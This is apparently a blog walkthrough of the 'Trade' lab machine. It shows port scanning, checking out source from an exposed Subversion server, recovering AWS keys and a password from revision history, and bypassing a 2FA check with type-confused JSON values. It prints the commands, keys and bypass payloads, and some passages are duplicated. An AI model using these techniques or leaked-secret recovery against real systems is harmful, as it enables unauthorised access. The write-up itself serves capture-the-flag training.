← Back to blog

Trade

With increasing breaches there has been an equal increase in demand for exploits and compromised hosts. The Dark APT group has released an online store to sell such digital equipment. Being part of defense operations, can you help disrupt their service?

Recon

A full TCP port scan with service and script detection reveals three services: SSH, an HTTP app served by a Werkzeug/Python (Flask) backend titled “Monkey Backdoorz”, and a Subversion server on port 3690. The exposed SVN service is the most unusual and the best place to start looking for leaked source.

Nmap scan report for 10.129.232.35
Host is up (0.023s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http     Apache httpd 2.4.41
|_http-title: Monkey Backdoorz
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
3690/tcp open  svnserve Subversion
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerating SVN (Port 3690)

Subversion exposes its repository over the svn:// protocol. Listing the root shows a single store/ directory.

svn ls svn://trade.htb/
store/

Checking out the repository pulls down the source files that back the application.

svn checkout svn://trade.htb/store/
A    store/README.md
A    store/dynamo.py
A    store/sns.py
Checked out revision 5.

The sns.py file (shown in full below) contains a hardcoded user record being inserted into a DynamoDB users table, giving us a candidate credential pair.

client.put_item(TableName='users',
    Item={
        'username': {
            'S': 'marcus'
        },
        'password': {
            'S': 'dFc42BvUs02'
        },
    }

Recovering Leaked AWS Credentials from SVN History

The current HEAD revision has the AWS keys blanked out, but SVN retains every revision. Diffing against revision 2 recovers the credentials that were committed and later scrubbed (a classic credential-leak-in-VCS-history finding).

svn diff -r 2
-access_key = 'AKIA5M34BDN8GCJGRFFB'
-secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

-access_key = 'AKIA5M34BDN8GCJGRFFB'
-secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'
+access_key = ''
+secret_access_key_id = ''

The source also shows the boto3 clients are pointed at a custom endpoint (http://cloud.htb) rather than real AWS, indicating a local/emulated AWS environment we can talk to directly with these keys.

# Initialize clients

s3 = boto3.client('s3', region_name=region, endpoint_url='http://cloud.htb', aws_access_key_id=access_key, aws_secret_access_key=secret_access_key_id)

Session Forgery via the 2FA Endpoint

After authenticating, the app gates access behind a 2FA OTP step at POST /2fa. The session cookie is a Flask signed cookie; decoding eyJhdXRoIjp0cnVlfQ reveals the payload {"auth":true}, confirming the server trusts the JSON body sent to this endpoint.

POST /2fa HTTP/1.1
Host: trade.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 8
Origin: http://trade.htb
Connection: close
Referer: http://trade.htb/2fa
Cookie: session=eyJhdXRoIjp0cnVlfQ.YtG0nA.Ja-fFJM5uLmn-wxXN8i2UYfaJ_Q
Upgrade-Insecure-Requests: 1

{"otp":true}

By manipulating the otp value in the request body, the OTP check can be bypassed — supplying type-confused values rather than a valid numeric code passes the verification.

{"otp":true}
{"otp":1}
{"otp":null}
{"otp":null}

Source: sns.py

The full sns.py recovered from the repository, showing the DynamoDB client configuration (with the leaked keys from history), the users table creation, and the seeded marcus credential used to log in.

import boto3

client = boto3.client('dynamodb',
               region_name='us-east-2',
               endpoint_url='http://cloud.htb',
               aws_access_key_id='AKIA5M34BDN8GCJGRFFB',
               aws_secret_access_key='cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'
               )

client.create_table(TableName='users',
        KeySchema=[
            {
                'AttributeName': 'username',
                'KeyType': 'HASH'
            },
        {
        'AttributeName': 'password',
        'KeyType': 'RANGE'
        },
        ],
        AttributeDefinitions=[
            {
                'AttributeName': 'username',
                'AttributeType': 'S'
            },
        {
        'AttributeName': 'password',
        'AttributeType': 'S'
        },
        ],
        ProvisionedThroughput={
            'ReadCapacityUnits': 5,
            'WriteCapacityUnits': 5,
        }
    )

client.put_item(TableName='users',
    Item={
        'username': {
            'S': 'marcus'
        },
        'password': {
            'S': 'dFc42BvUs02'
        },
    }
    )